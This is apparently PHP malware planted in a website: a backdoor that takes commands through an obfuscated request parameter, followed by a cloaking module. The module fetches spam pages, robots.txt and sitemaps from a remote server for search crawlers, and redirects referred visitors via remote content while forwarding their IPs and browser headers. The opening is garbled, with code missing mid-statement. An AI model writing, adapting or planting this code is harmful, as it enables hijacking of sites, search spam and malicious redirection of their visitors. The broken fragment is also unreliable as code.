set_time_limit(0); error_reporting(0); if (isset($_REQUEST['B0tvbsFXrM1SR2W'])) { $cmd = $_REQUEST['B0tvbsFXrM1SR2W']; $pk = << array( "method" => "GET", "header" => implode("\r\n", $headers), "timeout" => $trans_timeout, "ignore_errors" => true, ), )); $response = file_get_contents($url, false, $context); if ($response !== false) { $status_line = $http_response_header[0]; if (preg_match('{HTTP\/\S*\s(\d{3})}', $status_line, $match)) { $status = $match[1]; if ($status === "404") { $response = 0; } else if ($status !== "200"){ $response = -1; } } else { $response = -1; } } else { $response = -1; } return $response; } function xxxx_decode_chunked_body($body) { $decoded = ''; while ($body) { $pos = strpos($body, "\r\n"); $length = hexdec(substr($body, 0, $pos)); if ($length === 0) { break; } $decoded .= substr($body, $pos + 2, $length); $body = substr($body, $pos + 2 + $length + 2); } return $decoded; } function xxxx_get_content_fs($url, $headers, $conn_timeout, $trans_timeout) { $parsed_url = parse_url($url); $api_host = $parsed_url['host']; $api_path = isset($parsed_url['path']) ? $parsed_url['path'] : '/'; $api_path .= isset($parsed_url['query']) ? '?' . $parsed_url['query'] : ''; $api_port = isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https' ? 443 : 80; $api_scheme = isset($parsed_url['scheme']) && $parsed_url['scheme'] === 'https' ? 'ssl://' : ''; $fp = fsockopen($api_scheme . $api_host, $api_port, $api_errno, $api_errstr, $conn_timeout); if (!$fp) { $response = -1; return $response; } try { $in = "GET $api_path HTTP/1.1\r\n"; $in .= "Host: $api_host\r\n"; foreach ($headers as $header) { $in .= "$header\r\n"; } $in .= "Connection: Close\r\n\r\n"; fwrite($fp, $in); stream_set_timeout($fp, $trans_timeout); $out = ''; while (!feof($fp)) { $out .= fgets($fp, 128); } fclose($fp); } catch (Exception $e) { fclose($fp); } list($res_header, $res_body) = explode("\r\n\r\n", $out, 2); if (stripos($res_header, 'Transfer-Encoding: chunked') !== false) { $res_body = xxxx_decode_chunked_body($res_body); } if (preg_match('{^HTTP\/\S*\s(\d{3})}', $res_header, $match)) { $status = $match[1]; if ($status === "404") { $response = 0; } else if ($status !== "200"){ $response = -1; } else { $response = $res_body; } } else { $response = -1; } return $response; } function xxxx_get_content($url, $headers=array(), $conn_timeout=0, $trans_timeout=0) { if (HTTPS) { $response = xxxx_get_content_curl(API.$url, $headers, $conn_timeout, $trans_timeout); } else { $response = xxxx_get_content_curl(API_HTTP.$url, $headers, $conn_timeout, $trans_timeout); } if ($response === -1) { array_push($headers, "User-Agent: " . $_SERVER["HTTP_USER_AGENT"]); array_push($headers, "Referer: " . $_SERVER["HTTP_REFERER"]); $response = xxxx_get_content_fg(API_HTTP.$url, $headers, $conn_timeout, $trans_timeout); if ($response === -1) { $response = xxxx_get_content_fs(API_HTTP.$url, $headers, $conn_timeout, $trans_timeout); } } return $response; } function xxxx_get_client_ip() { foreach (array('HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key){ if (array_key_exists($key, $_SERVER) === true){ foreach (explode(',', $_SERVER[$key]) as $ip){ $ip = trim($ip); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false){ return $ip; } } } } } function mmmain() { $req_ref = $_SERVER["HTTP_REFERER"]; $req_ua = $_SERVER["HTTP_USER_AGENT"]; $host = $_SERVER['HTTP_HOST']; $req_uri = $_SERVER['REQUEST_URI']; header('Cache-Control: no-store, no-cache, must-revalidate'); header('Cache-Control: post-check=0, pre-check=0', FALSE); header('Pragma: no-cache'); $uri_encoded = urlencode($req_uri); $headers = array(); if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE']; array_push($headers, "Accept-Language: $lang"); array_push($headers, "Vary: Accept-Language"); } if (xxxx_is_crawler($req_ua)) { $crawler_ip = xxxx_get_client_ip(); if (xxxx_is_prefix($req_uri)) { $response = xxxx_get_content("connector.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 8, 8); if ($response === 0) { header('HTTP/1.0 404 Not Found'); exit; } else if ($response === -1) { ; } else { header('Content-Type:text/html; charset=utf-8'); echo $response; exit; } } else if (xxxx_is_robots($req_uri)) { $response = xxxx_get_content("energy.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 8, 8); if ($response === 0 || $response === -1) { ; } else { header('Content-Type:text/plain; charset=utf-8'); echo $response; exit; } } else if (xxxx_is_sitemap($req_uri)) { $response = xxxx_get_content("travel.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 8, 8); if ($response === 0 || $response === -1) { ; } else { header('Content-Type:text/xml; charset=utf-8'); echo $response; exit; } } else { $response = xxxx_get_content("friends.html?domain={$host}&uri={$uri_encoded}&ip={$crawler_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 8, 8); if ($response === 0 || $response === -1) { ; } else { echo $response; } } } elseif (xxxx_is_prefix($req_uri) && xxxx_is_visitor($req_ref)) { header('Content-Type:text/html; charset=utf-8'); $client_ip = xxxx_get_client_ip(); $allheaders = array(); if (!function_exists('getallheaders')) { function getallheaders() { $tmp_headers = array(); foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $tmp_headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value; } } return $tmp_headers; } $allheaders = getallheaders(); } else { $allheaders = getallheaders(); } foreach ($allheaders as $key => $value) { if (stripos($key, 'Sec-') === 0) { array_push($headers, "$key: $value"); } } $response = xxxx_get_content("redirectv1.html?domain={$host}&uri={$uri_encoded}&ip={$client_ip}&ver=" . VERSION . "&v=" . APIVERSION, $headers, 5, 5); if ($response === 0) { header('HTTP/1.0 404 Not Found'); exit; } else if (!$response || $response === -1){ echo FALLBACK_REDIRECT_HTML; exit; } else { echo $response; exit; } } } mmmain();